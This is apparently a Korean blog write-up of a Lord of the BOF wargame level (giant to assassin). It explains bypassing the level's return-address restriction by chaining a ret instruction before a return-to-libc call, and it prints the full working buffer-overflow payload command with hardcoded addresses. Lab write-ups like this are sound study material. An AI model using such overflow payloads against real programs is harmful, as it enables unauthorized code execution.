Profile

머리정리하는곳

c2w2m2

[Level15] giant -> assassin


코드를 보면 no Stack, no RTL 이라는데   RTL 쓸겁니다. 하핳


어떤식으로 저 코드가 우회가 되냐면 Ret에 Ret 주소를 씌움으로써 Ret 가 한번 더 실행되고 Ret 내부적으로 실행되는 pop eip 가 2번 실행 되면서 Ret 뒤에있는 주소를 eip가 가리키게 됩니다.


그 말은 즉 Ret 에는 Ret 주소를 넣고 Ret 뒤에 RTL을 하면 된다는 말! R드럽게 많네


 

저기 있는 0x0804851e 가 Ret 주소이므로 


계획을 세워보면


dummy + SFP [44 byte] + Ret 주소 [4 byte] + RTL 


이 되겠습니다.


바로 assassin 에 공격해 봅시다.



./assassin `python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\xe0\x8a\x05\x40"+"ABCD"+"\xf9\xbf\x0f\x40"'`


클리어 !

'Pwnable > LOB' 카테고리의 다른 글

[Level17] zombie_assassin -> succubus  (0) 2017.05.18
[Level16] assassin -> zombie_assassin  (0) 2017.05.17
[Level14] bugbear -> giant  (0) 2017.05.17
[Level13] darkknight -> bugbear  (0) 2017.05.17
[Level12] golem -> darkknight  (0) 2017.05.17